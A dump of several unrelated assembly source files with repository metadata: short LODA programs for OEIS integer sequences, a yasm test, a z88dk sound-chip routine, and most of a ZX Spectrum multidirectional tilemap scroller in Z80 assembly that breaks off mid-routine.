; 309,447,741,1383,2829,6207,14421,35223,89949,238767,654501,1840263,5274669,15332127,45012981,133072503,395284989,1177990287,3518241861,10523267943,31506888909,94394837247,282932853141,848295242583,2543879094429,7629624017007,22884845518821,68646483492423,205923344349549,617737820793567,1853149037870901,5559318264593463,16677697095742269,50032575891150927,150096696881301381,450288029059601703,1350859964010200589,4052571645693393087,12157698444405762261,36473062347868453143,109419121072907692509
add $0,1
mov $1,8
mov $2,1
lpb $0
sub $0,1
add $1,1
mul $1,2
mul $2,3
lpe
add $1,8
mul $1,2
add $1,6
add $2,9
add $1,$2
sub $1,70
div $1,2
mul $1,6
add $1,309
mov $0,$1
| 33.130435 | 500 | 0.800525 |
cb7045a93ec8f03882c25f2a6ba54196f73f96e7 | 38 | asm | Assembly | pkgs/tools/yasm/src/modules/parsers/gas/tests/bin/reptsimple.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 2,151 | 2020-04-18T07:31:17.000Z | 2022-03-31T08:39:18.000Z | pkgs/tools/yasm/src/modules/parsers/gas/tests/bin/reptsimple.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 395 | 2020-04-18T08:22:18.000Z | 2021-12-08T13:04:49.000Z | pkgs/tools/yasm/src/modules/parsers/gas/tests/bin/reptsimple.asm | manggoguy/parsec-modified | d14edfb62795805c84a4280d67b50cca175b95af | [
"BSD-3-Clause"
] | 338 | 2020-04-18T08:03:10.000Z | 2022-03-29T12:33:22.000Z | .byte 1
.rept 5
.byte 0
.endr
.byte 2
| 6.333333 | 7 | 0.631579 |
2b9104d96560af9de208da5bf94a145100a685be | 178 | asm | Assembly | libsrc/target/myvision/psg/get_psg.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/target/myvision/psg/get_psg.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/target/myvision/psg/get_psg.asm | Frodevan/z88dk | f27af9fe840ff995c63c80a73673ba7ee33fffac | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z | ;
SECTION code_clib
PUBLIC get_psg
PUBLIC _get_psg
get_psg:
_get_psg:
ld a,l
out ($00),a
IN a,($02)
ld l,a ; NOTE: A register has to keep the same value
ret
| 10.470588 | 53 | 0.640449 |
fd9a11e446056ae64fdd8e2a8155fa51e1123e0c | 543 | asm | Assembly | programs/oeis/129/A129744.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/129/A129744.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/129/A129744.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A129744: a(n) = -(u^n-1)*(v^n-1) with u = 1+sqrt(2), v = 1-sqrt(2).
; 2,4,14,32,82,196,478,1152,2786,6724,16238,39200,94642,228484,551614,1331712,3215042,7761796,18738638,45239072,109216786,263672644,636562078,1536796800,3710155682,8957108164,21624372014,52205852192,126036076402,304278004996,734592086398,1773462177792,4281516441986,10336495061764,24954506565518,60245508192800,145445522951122,351136554095044,847718631141214,2046573816377472,4940866263896162
cal $0,113224 ; a(2n) = A002315(n), a(2n+1) = A082639(n+1).
mov $1,$0
mul $1,2
| 77.571429 | 392 | 0.786372 |
1b9321a970e875de9f9a4aab00a6409bfcb28fd4 | 599 | asm | Assembly | oeis/081/A081002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081002.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081002: a(n) = Fibonacci(4n) + 1, or Fibonacci(2n-1)*Lucas(2n+1).
; 1,4,22,145,988,6766,46369,317812,2178310,14930353,102334156,701408734,4807526977,32951280100,225851433718,1548008755921,10610209857724,72723460248142,498454011879265,3416454622906708,23416728348467686,160500643816367089,1100087778366101932,7540113804746346430,51680708854858323073,354224848179261915076,2427893228399975082454,16641027750620563662097,114059301025943970552220,781774079430987230203438,5358359254990966640871841,36726740705505779255899444,251728825683549488150424262
seq $0,33888 ; a(n) = Fibonacci(4n).
add $0,1
| 99.833333 | 482 | 0.864775 |
3697b70f978b431e8dd1e9774cad5731a3418062 | 604 | asm | Assembly | oeis/064/A064633.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/064/A064633.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/064/A064633.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A064633: a(n) = 3^n*n!*(n+2)!/2!.
; 1,9,216,9720,699840,73483200,10581580800,1999918771200,479980505088000,142554210011136000,51319515604008960000,22016072194119843840000,11096100385836401295360000,6491218725714294757785600000,4362098983680006077231923200000,3337005722515204649082421248000000,2883172944253136816807211958272000000,2793794582981289575486188387565568000000,3017298149619792741525083458570813440000000,3611705885094891911605524899909263687680000000,4767451768325257323319292867880228067737600000000
mov $2,1
lpb $0
sub $0,1
add $3,6
add $1,$3
add $1,3
mul $2,$1
lpe
mov $0,$2
| 46.461538 | 479 | 0.850993 |
9ef8fa1aff8a59a8bcc2d1318ae1ef1a0ed39aa7 | 36,485 | asm | Assembly | samples/zx/tilemap_render/multidir_scroll/tilemap_multidir_render.asm | 0x8BitDev/MAPeD-SPReD | da1a8a582980ea5963777a46fd3dfddc0d69aa82 | [
"MIT"
] | 23 | 2019-05-16T20:23:49.000Z | 2022-03-13T21:53:10.000Z | samples/zx/tilemap_render/multidir_scroll/tilemap_multidir_render.asm | 0x8BitDev/MAPeD-SPReD | da1a8a582980ea5963777a46fd3dfddc0d69aa82 | [
"MIT"
] | 6 | 2021-03-30T05:51:46.000Z | 2022-01-07T13:18:44.000Z | samples/zx/tilemap_render/multidir_scroll/tilemap_multidir_render.asm | 0x8BitDev/MAPeD-SPReD | da1a8a582980ea5963777a46fd3dfddc0d69aa82 | [
"MIT"
] | null | null | null | ;###################################################################
;
; Copyright 2018-2019 0x8BitDev ( MIT license )
;
;###################################################################
;
; DESC: Multidirectional scroller example.
;
; Public procs:
;
; tilemap_render.init - render init
; tilemap_render.draw_tiles - draw tiles to shadow buffer
; tilemap_render.show_screen - draw shadow buffer to screen
;
; Additional options (see settings.asm):
;
; DEF_128K_DBL_BUFFER 1/0 ( 128K dbl buffering or usual 48K rendering )
; DEF_FULLSCREEN 1/0 ( fullscreen or upper 2/3 of the screen )
; DEF_COLOR 1/0 ( BW or CLR )
; DEF_MOVE_STEP MS_TILE/MS_8b/MS_4b ( 4/8-bits step or 16/32 depends on exported tile size )
; DEF_VERT_SYNC 1/0 ( rendering begins with HALT or not... )
;
MODULE tilemap_render
assert ( MAP_DATA_MAGIC&MAP_FLAG_RLE ) == 0, The sample doesn't support compressed data!
assert ( MAP_DATA_MAGIC&MAP_FLAG_DIR_ROWS ) == 0, The sample doesn't support rows ordered data!
TR_DATA_TILES4X4 equ MAP_DATA_MAGIC&MAP_FLAG_TILES4X4
IF TR_DATA_TILES4X4
assert ( DEF_MOVE_STEP == MS_TILE ), The tiles 4x4 mode is only supported when the MS_TILE step mode is active! Please, change the sample settings!
ENDIF
; level drawing data
; be sure to define in the main code!
;
; max_lev_tiles_w equ Lev0_wtls ; max width of a level in tiles
;
; this data must be filled in for each map in the main code
;
map_data dw 0 ; Lev0_map game level tile map address
map_tiles_gfx dw 0 ; Lev0_tlg tile graphics data
map_tiles_clr dw 0 ; Lev0_tlc tile colors data
map_data_cnt dw 0 ; Lev0_t_tiles number of tiles in map
map_tiles_cnt db 0 ; Lev0_u_tiles number of unique tiles in map
IF TR_DATA_TILES4X4
map_tiles4x4 dw 0 ; Lev0_tli tiles 4x4 data
ENDIF //TR_DATA_TILES4X4
map_tiles_w dw 0 ; Lev0_wtls number of tiles in map in width
map_tiles_h dw 0 ; Lev0_htls number of tiles in map in height
map_chrs_w dw 0 ; Lev0_wchr number of CHRs in map in width
map_chrs_h dw 0 ; Lev0_hchr number of CHRs in map in height
; start screen coordinates (upper left corner) in map coordinate system
x_pos dw 0
y_pos dw 0
; shadow buffer parameters and visible screen area
scr_w equ 32 ; horizontal screen size in CHRs
IF DEF_FULLSCREEN
scr_h equ 24 ; vertical screen size in CHRs
ELSE
scr_h equ 16 ; vertical screen size in CHRs
ENDIF //DEF_FULLSCREEN
IF TR_DATA_TILES4X4
scr_buff_tiles_w equ scr_w >> 2 ; the shadow buffer width in tiles
scr_buff_tiles_h equ scr_h >> 2 ; the shadow buffer height in tiles
ELSE
scr_buff_tiles_w equ scr_w >> 1 ; the shadow buffer width in tiles
scr_buff_tiles_h equ scr_h >> 1 ; the shadow buffer height in tiles
ENDIF //TR_DATA_TILES4X4
_x_tile_addr_tbl block ( max_lev_tiles_w << 1 ), 0 ; address table for X coordinate
align 256
tiles_addr_tbl block 512,0 ; tile graphics address table
tiles_clr_addr_tbl block 512,0 ; tile colors(attrbutes) address table
; add 'A *= 2' to an input address
; OUT: hl
macro add_addr_ax2 _addr
; ld h, high _addr <-- optimized version when a tile index is premultiplied by 2
; ld l, a <-- (a) is premultiplied by 2 (max 128 tiles)
ld h, high _addr
add a, a
jp nc, .skip
inc h
.skip
ld l, a
endm
macro add_hl_a
add a, l
jp nc, .skip
inc h
.skip
ld l, a
endm
macro scr_buff_put_block2x2
dup 8 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
endm
macro scr_buff_put_block2x2_clr
pop de
ld (hl), e
inc l
ld (hl), d
ld a, 31
add_hl_a
pop de
ld (hl), e
inc l
ld (hl), d
endm
DATA_HOLE_START
; the valid scr_buff addresses are #8000 or #C000
align 8192
DATA_HOLE_END
BACK_BUFFER_START
; B/W and color buffers must go one after the other
;
scr_buff block 4096, 0 ; graphics buffer of the first 2 thirds
IF DEF_FULLSCREEN
block 4096, 0 ; graphics buffer of the lower third
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
IF DEF_FULLSCREEN
clr_buff block 768, 0 ; color buffer
ELSE
clr_buff block 512, 0 ; color buffer
ENDIF //DEF_FULLSCREEN
ENDIF //DEF_COLOR
scr_buff_next_tile_row_offs = -4064
BACK_BUFFER_END
CODE_START
init
IF DEF_128K_DBL_BUFFER
; draw on the main screen area by default
xor a
ld (_scr_trigg), a
ENDIF //DEF_128K_DBL_BUFFER
; write constants directly to the code
ld hl, (map_tiles_h)
ld (_hl_mptls_h_mn), hl
IF DEF_FULLSCREEN
ld (_hl_mptls_h_fs), hl
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
ld (_hl_mptls_h_cl), hl
ENDIF //DEF_COLOR
; depending on the movement step, write the values into
; the procedure for controlling exit of 'camera' beyond a level
IF DEF_MOVE_STEP == MS_TILE
ld hl, (map_chrs_w)
sra h
rr l
IF TR_DATA_TILES4X4
sra h
rr l
ENDIF //TR_DATA_TILES4X4
ld (_de_map_st_w), hl
ld hl, (map_chrs_h)
sra h
rr l
IF TR_DATA_TILES4X4
sra h
rr l
ENDIF //TR_DATA_TILES4X4
ld (_de_map_st_h), hl
ld hl, scr_w
sra h
rr l
IF TR_DATA_TILES4X4
sra h
rr l
ENDIF //TR_DATA_TILES4X4
ld (_de_scr_st_w), hl
ld hl, scr_h
sra h
rr l
IF TR_DATA_TILES4X4
sra h
rr l
ENDIF //TR_DATA_TILES4X4
ld (_de_scr_st_h), hl
ENDIF //DEF_MOVE_STEP == MS_8b
IF DEF_MOVE_STEP == MS_8b
ld hl, (map_chrs_w)
ld (_de_map_st_w), hl
ld hl, (map_chrs_h)
ld (_de_map_st_h), hl
ld hl, scr_w
ld (_de_scr_st_w), hl
ld hl, scr_h
ld (_de_scr_st_h), hl
ENDIF //DEF_MOVE_STEP == MS_8b
IF DEF_MOVE_STEP == MS_4b
ld hl, (map_chrs_w)
add hl, hl
ld (_de_map_st_w), hl
ld hl, (map_chrs_h)
add hl, hl
ld (_de_map_st_h), hl
ld hl, scr_w
add hl, hl
ld (_de_scr_st_w), hl
ld hl, scr_h
add hl, hl
ld (_de_scr_st_h), hl
ENDIF //DEF_MOVE_STEP == MS_4b
; fill the tilemap lookup table by X coordinate
ld ix, _x_tile_addr_tbl
ld hl, (map_data)
ld de, (map_tiles_h)
and a
sbc hl, de
ld bc, (map_tiles_w)
.loop1 add hl, de
ld (ix + 0), l
ld (ix + 1), h
inc ix
inc ix
dec bc
ld a, c
or b
jp nz, .loop1
; fill the tile graphics lookup table
ld a, (map_tiles_cnt)
ld b, a
ld ix, tiles_addr_tbl
ld de, (map_tiles_gfx)
xor a
.loop2 ld l, a
ld h, 0
dup 5
add hl,hl
edup
add hl, de
ld (ix + 0), l
ld (ix + 1), h
inc a
inc ix
inc ix
djnz .loop2
IF DEF_COLOR
; fill the tile colors lookup table
ld a, (map_tiles_cnt)
ld b, a
ld ix, tiles_clr_addr_tbl
ld de, (map_tiles_clr)
xor a
.loop3 ld l, a
ld h, 0
add hl,hl
add hl,hl
add hl, de
ld (ix + 0), l
ld (ix + 1), h
inc a
inc ix
inc ix
djnz .loop3
ENDIF //DEF_COLOR
ret
IF DEF_COLOR & (DEF_MOVE_STEP == MS_8b)
drw_prc_tbl dw _draw_tiles_column, _draw_tiles_color_column, _draw_tiles_column_shifted_up_8b, _draw_tiles_color_column_shifted_up
ENDIF //DEF_COLOR & (DEF_MOVE_STEP == MS_8b)
IF !DEF_COLOR && DEF_MOVE_STEP == MS_8b
drw_prc_tbl dw _draw_tiles_column, _draw_tiles_column_shifted_up_8b
ENDIF //!DEF_COLOR & DEF_MOVE_STEP == MS_8b
IF DEF_COLOR & (DEF_MOVE_STEP == MS_4b)
drw_prc_tbl dw _draw_tiles_column, _draw_tiles_color_column, _draw_tiles_column_shifted_up_4b, _draw_tiles_color_column, _draw_tiles_column_shifted_up_8b, _draw_tiles_color_column_shifted_up, _draw_tiles_column_shifted_up_12b, _draw_tiles_color_column_shifted_up
ENDIF //DEF_COLOR & (DEF_MOVE_STEP == MS_4b)
IF !DEF_COLOR && DEF_MOVE_STEP == MS_4b
drw_prc_tbl dw _draw_tiles_column, _draw_tiles_column_shifted_up_4b, _draw_tiles_column_shifted_up_8b, _draw_tiles_column_shifted_up_12b
ENDIF //!DEF_COLOR & DEF_MOVE_STEP == MS_4b
IF DEF_MOVE_STEP == MS_4b
drw_hlf_prc_tbl dw _draw_half_tiles_column, _draw_half_tiles_column_shifted_up_4b, _draw_half_tiles_column_shifted_up_8b, _draw_half_tiles_column_shifted_up_12b
ENDIF //DEF_MOVE_STEP == MS_4b
draw_tiles
call _fix_x_y
call _calc_tile_addr ; HL - tilemap start address
IF DEF_MOVE_STEP == MS_TILE
push hl
jp _draw_tiles_2x2_mode
ELSE ; MS_8b / MS_4b
ld ixh, scr_buff_tiles_w
ld iy, scr_buff
ld de, (x_pos)
ld a,e
IF DEF_MOVE_STEP == MS_8b
and #01
ENDIF //DEF_MOVE_STEP == MS_8b
IF DEF_MOVE_STEP == MS_4b
and #02
ENDIF //DEF_MOVE_STEP == MS_4b
jp z, .cont1
dec ixh
inc iy
ld bc, (map_tiles_h)
add hl, bc
.cont1 push hl
ld hl, (y_pos)
ld h, 0
ld a, l
IF DEF_MOVE_STEP == MS_8b
and #01
ENDIF //DEF_MOVE_STEP == MS_8b
IF DEF_MOVE_STEP == MS_4b
and #03
ENDIF //DEF_MOVE_STEP == MS_4b
ld l, a
add hl, hl
IF DEF_COLOR
add hl, hl
ENDIF //DEF_COLOR
ld de, drw_prc_tbl
add hl, de
ld a, (hl)
ld (_drw_prc1), a
IF DEF_FULLSCREEN
ld (_drw_prc2), a
ENDIF //DEF_FULLSCREEN
inc hl
ld a, (hl)
ld (_drw_prc1 + 1), a
IF DEF_FULLSCREEN
ld (_drw_prc2 + 1), a
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
inc hl
ld a, (hl)
ld (_drw_clr_prc), a
inc hl
ld a, (hl)
ld (_drw_clr_prc + 1), a
ENDIF //DEF_COLOR
IF DEF_FULLSCREEN
ld a, ixh
ld (_scr_buff_tlw1), a
ld a, iyl
ld (_scr_buff_ptr), a
ld a, iyh
add a, #10
ld (_scr_buff_ptr + 1 ), a
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
ld a, ixh
ld (_scr_buff_tlw2), a
ld a, iyl
ld (_clr_buff_ptr), a
ld a, iyh
IF DEF_FULLSCREEN
add a, #20
ELSE
add a, #10
ENDIF //DEF_FULLSCREEN
ld (_clr_buff_ptr + 1 ), a
ENDIF //DEF_COLOR
; setup drawing of the rightmost half tiles column
IF DEF_MOVE_STEP == MS_4b
ld hl, (x_pos)
ld a, l
and #03
cp #03
jp nz, .cont2 ; if coordinate is not a multiple of 3, skip column drawing
and #01
jp z, .cont2 ; if coordinate is even, then skip column drawing
ld hl, (y_pos)
ld a, l
and #03
ld l, a
add hl, hl
ld de, drw_hlf_prc_tbl
add hl, de
ld a, (hl)
ld (_drw_hlf_prc1), a
IF DEF_FULLSCREEN
ld (_drw_hlf_prc2), a
ENDIF //DEF_FULLSCREEN
inc hl
ld a, (hl)
ld (_drw_hlf_prc1 + 1 ), a
IF DEF_FULLSCREEN
ld (_drw_hlf_prc2 + 1 ), a
ENDIF //DEF_FULLSCREEN
ENDIF //DEF_MOVE_STEP == MS_4b
.cont2
; draw the top two thirds of the screen
;;; ld ixh, scr_buff_tiles_w
ld hl, iy
exx
pop bc ; BC - tilemap start address for pos_x|pos_y
IF DEF_FULLSCREEN
push bc ; save to draw the bottom of the screen (B\W)
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
push bc ; save to draw color layer
ENDIF //DEF_COLOR
exx
_drw_loop1 ld ixl, 8 ; number of 2x2 tiles in the upper 2 thirds
exx
push bc
exx
push hl
db #cd ; call ...
_drw_prc1 dw 0
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_mn dw 0
add hl, bc
ld bc, hl
exx
inc l
inc l
dec ixh
jp nz, _drw_loop1
IF DEF_FULLSCREEN
; draw the bottom third of the screen
db #dd, #26 ; ld ixh, ...
_scr_buff_tlw1 db 0
db #21 ; ld hl, ...
_scr_buff_ptr db 0, 0
exx
pop hl ; BC - tilemap start address for pos_x|pos_y
ld de, 8
add hl, de
ld c, l
ld b, h
exx
_drw_loop2 ld ixl, 4 ; number of 2x2 tiles in the bottom third of the screen
exx
push bc
exx
push hl
db #cd ; call ...
_drw_prc2 dw 0
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_fs dw 0
add hl, bc
ld bc, hl
exx
inc l
inc l
dec ixh
jp nz, _drw_loop2
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
; draw color
db #dd, #26 ; ld ixh, ...
_scr_buff_tlw2 db 0
db #21 ; ld hl, ...
_clr_buff_ptr db 0, 0
exx
pop bc
exx
_drw_clr_loop
IF DEF_FULLSCREEN
ld ixl, scr_buff_tiles_h
ELSE
ld ixl, 8 ; for 2\3 of the screen
ENDIF //DEF_FULLSCREEN
exx
push bc
exx
push hl
db #cd ; call ...
_drw_clr_prc dw 0
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_cl dw 0
add hl, bc
ld bc, hl
exx
inc l
inc l
dec ixh
jp nz, _drw_clr_loop
ENDIF //DEF_COLOR
IF DEF_MOVE_STEP == MS_4b
ld de, (x_pos)
ld a, e
and #01
ret z
ld a, e
and #03
cp #03
jp nz, _skip_hlf_tile_drw
; draw one CHR wide strip on the right side
ld hl, scr_buff + #20 - 1
ld ixl, 8
IF DEF_FULLSCREEN
exx
IF !DEF_COLOR
ld hl, bc
ld de, 8
and a
sbc hl, de
ld bc, hl
ENDIF //!DEF_COLOR
push bc
exx
ENDIF //DEF_FULLSCREEN
db #cd ; call _draw_half_tiles_column etc...
_drw_hlf_prc1 dw 0
IF DEF_FULLSCREEN
ld hl, scr_buff + #1000 + #20 - 1
ld ixl, 4
exx
pop bc ; BC - tilemap start address for pos_x|pos_y
ld hl, 8
add hl, bc
ld c, l
ld b, h
exx
db #cd ; call _draw_half_tiles_column etc...
_drw_hlf_prc2 dw 0
ENDIF //DEF_FULLSCREEN
_skip_hlf_tile_drw
ld hl, scr_buff + #1000 - 1
ld b, 128
.shift_loop1
xor a
dup 32
rld
dec hl
edup
djnz .shift_loop1
IF DEF_FULLSCREEN
ld hl, scr_buff + #1000 + #20 - 1
ld de, scr_buff_next_tile_row_offs
ld b, 4
.shift_loop2
ld c, 16
.shift_loop3
xor a
dup 32
rld
dec hl
edup
inc h
ld a, l ; <--
add a, #20
ld l, a
ld a, 0
adc a, h
ld h, a ; 30t
dec c
jp nz, .shift_loop3
add hl, de
djnz .shift_loop2
ENDIF //DEF_FULLSCREEN
ENDIF //DEF_MOVE_STEP == MS_4b
ret
ENDIF //DEF_MOVE_STEP == MS_TILE
IF DEF_COLOR
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
; TR_DATA_TILES4X4
; EX DE - tiles 4x4 data addr
IF TR_DATA_TILES4X4
tile4x4_block1_clr db 0
tile4x4_block2_clr db 0
tile4x4_block3_clr db 0
tile4x4_block4_clr db 0
tile4x4_clr_data db 0
_draw_tiles_color_column
ld (_temp_sp), sp
.loop exx
ld a, (bc) ; get tile index
inc bc
ld l, a
ld h, 0
add hl, hl
add hl, hl
add hl, de ; hl = tiles4x4[ tile_ind * 4 ]
ld sp, hl
pop hl
pop af
ld sp, tile4x4_clr_data
push af
push hl
; put 1st clr block
ld a, l
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
scr_buff_put_block2x2_clr
ld bc, -31
add hl, bc
; put 2nd clr block
exx
ld a, (tile4x4_block2_clr)
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
scr_buff_put_block2x2_clr
ld a, 31
add_hl_a
; put 4th clr block
exx
ld a, (tile4x4_block4_clr)
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
scr_buff_put_block2x2_clr
ld bc, -35
add hl, bc
; put 3nd clr block
exx
ld a, (tile4x4_block3_clr)
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
scr_buff_put_block2x2_clr
ld a, 31
add_hl_a
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ELSE //TR_DATA_TILES4X4
_draw_tiles_color_column
ld (_temp_sp), sp
ld bc, 31
.loop exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
scr_buff_put_block2x2_clr
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ENDIF //TR_DATA_TILES4X4
_draw_tiles_color_column_shifted_up
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, 31
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
inc hl ; we need the lower half of tile
inc hl ; so we skip the first two colors
ld sp, hl
exx
.loop pop de
ld (hl), e
inc l
ld (hl), d
add hl, bc
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_clr_addr_tbl
ld sp, hl
pop hl ; get tile color data address from the table
ld sp, hl
exx
pop de
ld (hl), e
inc l
ld (hl), d
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ENDIF //DEF_COLOR
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
; TR_DATA_TILES4X4
; EX DE - tiles 4x4 data addr
IF TR_DATA_TILES4X4
tile4x4_block1 db 0
tile4x4_block2 db 0
tile4x4_block3 db 0
tile4x4_block4 db 0
tile4x4_data db 0
_draw_tiles_column
ld (_temp_sp), sp
.loop exx
ld a, (bc) ; get tile index
inc bc
ld l, a
ld h, 0
add hl, hl
add hl, hl
add hl, de ; hl = tiles4x4[ tile_ind * 4 ]
ld sp, hl
pop hl
pop af
ld sp, tile4x4_data
push af
push hl
; draw 1st block
ld a, l
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
scr_buff_put_block2x2
ld bc, -4094
add hl, bc
; draw 2nd block
exx
ld a, (tile4x4_block2)
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
scr_buff_put_block2x2
ld bc, -4064
add hl, bc
; draw 4th block
exx
ld a, (tile4x4_block4)
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
scr_buff_put_block2x2
ld bc, -4098
add hl, bc
; draw 3th block
exx
ld a, (tile4x4_block3)
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
scr_buff_put_block2x2
ld bc, -4064
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ELSE //TR_DATA_TILES4X4
_draw_tiles_column
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
.loop exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
scr_buff_put_block2x2
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ENDIF //TR_DATA_TILES4X4
_draw_tiles_column_shifted_up_8b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 16
add hl, de
ld sp, hl
exx
.loop
dup 4 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 4 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
IF DEF_MOVE_STEP == MS_4b
_draw_half_tiles_column
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
.loop exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 8 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
_draw_half_tiles_column_shifted_up_4b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 8
add hl, de
ld sp, hl
exx
.loop
dup 6 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 2 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
_draw_half_tiles_column_shifted_up_8b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 16
add hl, de
ld sp, hl
exx
.loop
dup 4 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
